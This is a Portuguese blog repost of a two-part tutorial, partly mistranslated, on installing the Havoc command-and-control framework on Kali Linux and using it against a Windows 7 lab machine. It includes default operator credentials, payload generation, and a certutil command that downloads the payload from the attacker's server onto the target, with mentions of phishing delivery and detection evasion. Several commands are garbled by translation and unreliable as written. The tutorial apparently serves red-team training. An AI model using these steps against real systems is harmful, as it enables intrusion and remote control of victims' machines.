Whatsapp 47 988618255
Compartilhe
- Gerar link
- X
- Outros aplicativos
Instalando seu próprio servidor C2 no Kali Linux
Série Command & Control Parte I (Instalando seu próprio servidor C2 no Kali Linux)
- otw
- 4 dias atrás
- 4 minutos de leitura

Esta série de posts foi criada para orientar você na configuração do seu próprio servidor de Comando e Controle (C2), especificamente usando o Havoc C2 Framework. Antes de nos aprofundarmos nos aspectos técnicos, vamos primeiro definir o que é um servidor C2 no contexto de Operações Cibernéticas.
Um servidor de Comando e Controle (C2) é um elemento integral de ataques cibernéticos avançados, fornecendo um mecanismo para que os invasores mantenham a comunicação com dispositivos comprometidos após a infecção.
A arquitetura do C2 pode ser implementada de várias maneiras, incluindo, mas não se limitando a:
Implantar um Trojan de acesso remoto (RAT) para estabelecer um backdoor no dispositivo da vítima, permitindo assim o controle remoto.
Empregar um servidor de Comando e Controle dedicado, gerenciado pelo invasor, para retransmitir comandos aos dispositivos comprometidos.
Utilizando uma botnet, uma rede de dispositivos comprometidos, para executar atividades maliciosas coordenadas, que vão desde ataques de negação de serviço distribuída (DDoS) até disseminação de malware.
A importância de um servidor C2 em operações cibernéticas é inegável. Ele oferece aos invasores a capacidade de exfiltrar dados, conduzir ataques direcionados e infligir uma série de danos à rede da vítima.
As contramedidas defensivas contra atividades de C2 são multifacetadas e incluem:
Implementação de firewalls e Sistemas de Detecção/Prevenção de Intrusão (IDS/IPS) para filtrar e bloquear tráfego malicioso.
Aproveitando soluções antivírus para identificar e eliminar componentes de malware.
Atualizar regularmente o software com os patches de segurança mais recentes para evitar vulnerabilidades conhecidas.
Realizar treinamento de conscientização sobre segurança cibernética para que a equipe siga as melhores práticas.
Embora essas defesas possam não oferecer proteção absoluta contra ameaças C2, elas elevam substancialmente a postura de segurança da organização, tornando cada vez mais desafiador para os invasores estabelecerem uma infraestrutura de Comando e Controle bem-sucedida, mas essa é uma discussão para outra hora.

Feitas as apresentações do caso, vamos ao que interessa: instalar nosso primeiro servidor de Comando e Controle. Para isso, precisamos abrir um terminal em nossa distribuição Kali Linux:
Etapa 1. git clone https://github.com/HavocFramework/Havoc.git

e se tudo correr bem, você deverá ver o seguinte:

agora se você executar um comando ls você poderá ver os diretórios que aparecem na imagem abaixo, então execute cd Havoc :

Passo 2. Agora você está dentro do diretório Havoc e lá você executará o seguinte:
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm

Ao fazer isso, você estará instalando uma variedade de pacotes necessários para o funcionamento adequado do nosso servidor de Comando e Controle e, se tudo correr bem, você deverá ver o seguinte:

então você precisa entrar no diretório do teamserver executando cd teamserver e se você executar um ls você deverá ver o que aparece na imagem abaixo:

Passo 3. Agora você precisa executar o seguinte:
vá mod baixar golang.org/x/sys
go mod download github.com/ugorji/go Se tudo correr bem, você deverá ver algo semelhante ao que aparece na figura abaixo, após o qual você precisará sair desse diretório executando cd ..

Etapa 4. Agora, no diretório raiz do Havoc, construiremos o lado do servidor executando:
faça ts-build

Se tudo correr bem, você deverá ver algo semelhante ao que aparece na figura abaixo:

Agora precisamos executar o teamserver, mas primeiro, recomendo que você divida a tela do seu terminal em duas com uma visão vertical. Isso facilita o monitoramento e a operação simultâneos, o que é especialmente útil ao trabalhar com servidores de Comando e Controle, como estamos fazendo aqui.
Execute o seguinte:
./devastação

depois disso, você deverá ver algo assim:

Etapa 5. Agora temos a visualização dividida, então na tela esquerda temos o teamserver em execução e na tela direita vamos construir o lado do cliente executando o seguinte:
cd Havoc
fazer construção de cliente

depois disso, executaremos o cliente como fizemos com o servidor:
./cliente de destruição

após esse processo, você deverá ver esta tela:

Agora, para preencher esse prompt, você deve seguir o próximo passo:
Etapa 6. Abra um novo terminal e execute os seguintes comandos
1. cd Havoc
2. ls
3. dados do cd
4. ls
5. mousepad havoc.yaotl

e o que você verá é o perfil C2 real e você precisará dos dados que você tem dentro desse arquivo para preencher o prompt final que obtivemos na Etapa 5 e o que você realmente usará é o seguinte:
Porta: 40056
Usuário: Neo
Senha: password1234
Essas são as credenciais padrão:

Agora você pode fechar o mousepad e ir ao seu terminal e obter o IP da sua máquina virtual usando o comando ifconfig
Agora use todas as informações que você tem para preencher o prompt como o que você vê na imagem abaixo, você pode escolher o nome que quiser. Eu escolho Demônio.

Agora clique no botão Conectar e você estará pronto para começar. A tela final que você verá é a abaixo e se você estiver assistindo é porque agora você está no controle do seu próprio servidor C2.

Na próxima vez, ensinaremos como operar e controlar a máquina vítima com seu C2.
Sai Smouk!
Série Command & Control Parte II (Operando seu próprio servidor C2)
- otw
- 6 de outubro de 2023
- 6 minutos de leitura
Atualizado: 1 de abril

Introdução.
Já sabemos o que é um servidor C2, ou Comando e Controle, e, se você não estiver familiarizado, dê uma olhada em nosso primeiro post desta série. No primeiro post desta série , explicamos como instalar e configurar um. Agora, é hora de testar sua funcionalidade e nos familiarizar com seu comportamento operacional. É importante observar que, neste ponto, ainda não estamos ofuscando nossas comunicações; ou seja, não estamos usando nenhum redirecionador entre o "Cliente e o Servidor". Dessa forma, o que você verá é uma conexão direta entre a vítima e nosso servidor C2. É crucial enfatizar isso porque, em uma operação no mundo real, a abordagem seria diferente.
Neste estágio, nosso servidor C2 está instalado e funcionando. Se você conhece nossa postagem anterior, deve se lembrar que a última captura de tela que compartilhamos está representada na imagem abaixo.

Neste ponto, vamos construir nosso primeiro Listener.
O que é um ouvinte?
No contexto de um servidor de Comando e Controle (C2), um ouvinte é essencialmente um componente do lado do servidor projetado para aguardar conexões de entrada de clientes comprometidos, frequentemente chamados de "agentes" ou "bots". Um ouvinte opera em uma porta específica e pode usar um protocolo específico (HTTP, HTTPS, DNS, TCP, etc.) para estabelecer e manter a comunicação com o malware do lado do cliente que é executado nos sistemas-alvo.
Em seguida, vá até a aba "Exibir" e selecione "Ouvintes". No seu PC, você deverá ver algo parecido com isto:

Após selecionar "Ouvintes", uma janela aparecerá na tela enquanto este C2 oferece uma infinidade de opções de personalização. Para manter esta demonstração simples, usaremos as configurações padrões, conforme ilustrado na captura de tela abaixo:
Vá em frente e clique em salvar.

Após seguir os passos anteriores, você pode confirmar que o Listener está configurado e aguardando ativamente as conexões de entrada. Isso ficará evidente quando uma nova aba for aberta na parte inferior da interface do C2. Além disso, você verá uma notificação no canto superior direito, confirmando que o Listener foi iniciado. A notificação exibirá o nome que você atribuiu a ele, neste caso, "Demon". As duas imagens abaixo ilustram o que você deve ver na tela.


É hora de gerar nossa primeira carga útil.
O que é uma carga útil?
No contexto de um servidor de Comando e Controle (C2), um "payload" refere-se ao código ou dados maliciosos enviados do servidor C2 para um sistema comprometido (o "cliente") ou do cliente de volta para o servidor C2. Os payloads podem servir a múltiplos propósitos, dependendo do objetivo do invasor, como executar comandos específicos, exfiltrar dados ou fornecer funcionalidade adicional ao malware já presente no sistema comprometido. Quando se trata da fase operacional de uma estrutura C2, a geração do payload é uma etapa crucial. Este é o componente que você precisará entregar ao sistema alvo por meio de algum meio, como phishing por e-mail, downloads drive-by ou outros vetores de ataque.
Após a execução do payload no sistema alvo, ele estabelece uma conexão de volta com o servidor C2, permitindo efetivamente que o invasor controle o sistema comprometido. Você pode personalizar os payloads para executar uma série de tarefas, incluindo, entre outras, keylogging, captura de dados de webcam e microfone, roubo de credenciais ou movimentação lateral dentro de uma rede. Algumas estruturas C2 avançadas permitem payloads "modulares", que podem baixar módulos funcionais adicionais do servidor C2 conforme necessário, tornando-os altamente flexíveis e extensíveis.
Vá em frente e clique na aba "Ataque" e depois selecione a opção "Carga Útil".

Uma janela semelhante à mostrada na imagem abaixo aparecerá na sua tela. Como você pode ver, ela oferece uma infinidade de opções de personalização para o seu payload. No entanto, para manter este post simples, usaremos as configurações padrão desta vez. Em posts futuros, abordaremos como personalizar seu payload usando técnicas avançadas, que também abordamos em detalhes em nosso curso "Infraestrutura para Hackers". Então, sem mais delongas, clique em "Gerar", usando o exemplo da imagem a seguir como guia.

Se tudo correr bem, você verá uma série de instruções aparecer na parte inferior da janela enquanto a carga útil é gerada. Veja a imagem abaixo:

Após a geração do payload, você pode navegar pelo diretório para localizar onde ele foi salvo. No meu caso, como você pode ver, está localizado na área de trabalho.

O comando python -m http.server inicia um servidor HTTP simples usando o módulo de servidor HTTP integrado do Python. Ao executar esse comando, o diretório atual onde o comando é executado se torna o diretório base do servidor, permitindo que os arquivos sejam servidos aos clientes que os solicitam via HTTP. O servidor escuta na porta 8000 por padrão, mas você pode especificar uma porta diferente anexando-a ao comando, por exemplo, python -m http.server 8080. Isso é frequentemente usado em configurações C2, testes de penetração e exercícios de red teaming para transferências de arquivos rápidas e fáceis, embora seja importante observar que ele não oferece nenhum mecanismo de criptografia ou autenticação pronto para uso.
Aqui está um rápido resumo do que acontece nos bastidores:
Inicialização : O módulo do servidor HTTP Python (http.server) é inicializado. Este é um servidor HTTP simples e integrado que vem com a biblioteca padrão do Python.
Criação e vinculação de soquete : um soquete é criado e vinculado ao host (geralmente localhost ou 0.0.0.0 para escutar em todas as interfaces de rede disponíveis) e à porta especificada (o padrão é 8000).
Escuta : O servidor começa a escutar as requisições HTTP recebidas. Quando uma requisição é recebida, ele lê os cabeçalhos HTTP para determinar qual arquivo ou caminho o cliente está solicitando.
Serviço de Arquivos : Procura o arquivo solicitado em seu diretório base (o diretório de onde você executou o comando). Se encontrar o arquivo, ele o serve de volta ao cliente. Caso contrário, envia um erro 404.
Registro : a maioria das interações é registrada no console, fornecendo informações sobre o IP do cliente, caminho solicitado e outros detalhes.
Em um contexto de operações cibernéticas, embora simples e rápida, essa abordagem deve ser usada com cautela. A falta de criptografia e autenticação pode representar um risco à segurança, tornando o servidor e os arquivos que ele serve vulneráveis a acessos não autorizados ou ataques do tipo "man-in-the-middle". Para implementações mais seguras, pode-se considerar o uso de soluções mais robustas, como um servidor Nginx ou Apache, potencialmente com criptografia SSL.

Agora, usaremos uma máquina virtual Windows 7 como nosso sistema operacional de destino, na qual abriremos nosso terminal de Prompt de Comando (cmd).

Nesta parte do guia, vamos nos concentrar em um utilitário interessante do Windows, o certutil, para buscar nosso payload no servidor de Comando e Controle (C2). No contexto de uma operação da Equipe Vermelha, baixar seu payload de forma segura e furtiva é crucial. Embora existam várias maneiras de fazer isso, o certutil pode ser útil, pois é um utilitário legítimo integrado ao Windows, usado principalmente para gerenciamento de certificados, mas também pode ser "usado indevidamente" para nossos propósitos.
Aqui está o comando detalhado:
certutil : Este é o utilitário do Windows que estamos usando.
-urlcache : Este sinalizador serve para informar ao certutil para armazenar em cache o objeto recuperado do URL.
-split : Este sinalizador especifica que o objeto deve ser dividido entre vários registros no cache. Isso não é particularmente necessário em nosso contexto, mas pode ser útil para arquivos grandes.
-f : Este sinalizador significa "forçar", garantindo que o download aconteça mesmo que o arquivo já exista.
http://192.168.1.88:8000/demon.exe : Esta é a URL do seu servidor C2 onde o demon.exe, seu payload, reside.
O comando completo, certutil -urlcache -split -f http://192.168.1.88:8000/demon.exe, baixará o demon.exe do seu servidor C2 e o armazenará localmente na máquina em que você está operando. Uma das vantagens de usar o certutil dessa maneira é que ele frequentemente ignora os métodos tradicionais de detecção devido ao seu status legítimo. No entanto, soluções de segurança mais recentes estão se aprimorando na detecção desse tipo de técnica de "viver da terra", portanto, sua eficácia pode variar.

Como você pode observar na captura de tela abaixo, a carga foi transferida com sucesso para a área de trabalho da máquina de destino.


Agora, vá em frente e clique duas vezes na carga útil na máquina de destino.

Instantaneamente, você observará que o painel direito da nossa interface C2 inicia a conexão, permitindo-nos controle total sobre nosso alvo.

Agora navegue até a aba "Visualização" e selecione a opção "Visualização Gráfica". Você poderá visualizar a interação entre o C2 e a máquina-alvo, conforme ilustrado na imagem abaixo.

Se você clicar com o botão direito do mouse na máquina de destino na visualização gráfica, você obterá não apenas acesso interativo, mas também a capacidade de visualizar listagens de processos e detalhes do explorador de arquivos, conforme mostrado nas imagens abaixo.



Se você clicar com o botão direito do mouse na representação gráfica da máquina de destino e escolher a opção "Interagir", poderá executar diversas ações no sistema de destino. Para isso, navegue até a parte inferior da aba recém-aberta, acionada pelo processo mencionado, digite "help" e pressione Enter.

Abaixo, você encontrará uma captura de tela que ilustra o que você deve estar vendo no seu computador neste momento. Ela fornece uma visão geral de algumas das ações que você pode executar na máquina de destino.

Vá em frente e digite o comando "checkin". Isso fornecerá informações completas sobre o sistema de destino, conforme ilustrado nas fotos abaixo.


Esta foi apenas uma pequena amostra dos recursos que você pode desbloquear com apenas alguns comandos. Imagine as infinitas possibilidades ao dominar sistemas abrangentes de implantação de infraestrutura, juntamente com cenários complexos. Para se aprofundar neste assunto, listei abaixo duas opções possíveis que você pode explorar.
Sai Smouk!
- Gerar link
- X
- Outros aplicativos
OSINT NEWS NO X
Postagens mais visitadas
Comandos Google Dorks
- Gerar link
- X
- Outros aplicativos
ELICITAÇÃO PROFISSIONAL AVANÇADA
- Gerar link
- X
- Outros aplicativos
Lamborghini Gallardo V10
- Gerar link
- X
- Outros aplicativos

Comentários
Postar um comentário